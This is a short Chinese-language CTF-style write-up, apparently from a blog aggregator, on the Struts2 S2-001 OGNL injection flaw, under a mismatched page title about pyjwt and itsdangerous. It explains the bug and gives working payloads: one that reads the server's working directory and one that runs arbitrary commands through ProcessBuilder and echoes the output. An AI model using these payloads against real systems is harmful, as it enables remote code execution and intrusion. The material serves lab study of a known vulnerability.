1. 程式人生 > 其它 >pyjwt與itsdangerous區別與示例

pyjwt與itsdangerous區別與示例

技術標籤:安全CTFWEB安全安全

[struts2]s2-001

環境搭建

Github
buuctf

poc

在這裡插入圖片描述

該漏洞因為使用者提交表單資料並且驗證失敗時,後端會將使用者之前提交的引數值使用 OGNL 表示式 %{value} 進行解析,然後重新填充到對應的表單資料中。例如註冊或登入頁面,提交失敗後端一般會預設返回之前提交的資料,由於後端使用 %{value} 對提交的資料執行了一次 OGNL 表示式解析,所以可以直接構造 Payload 進行命令執行

測試一下:
在這裡插入圖片描述
在這裡插入圖片描述

exp

獲取Tomcat執行路徑:

%{@[email protected]("user.dir")}

在這裡插入圖片描述

執行任意指令:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

在這裡插入圖片描述
這裡就是構造jsp語句來執行程式碼就行,想搞啥搞啥。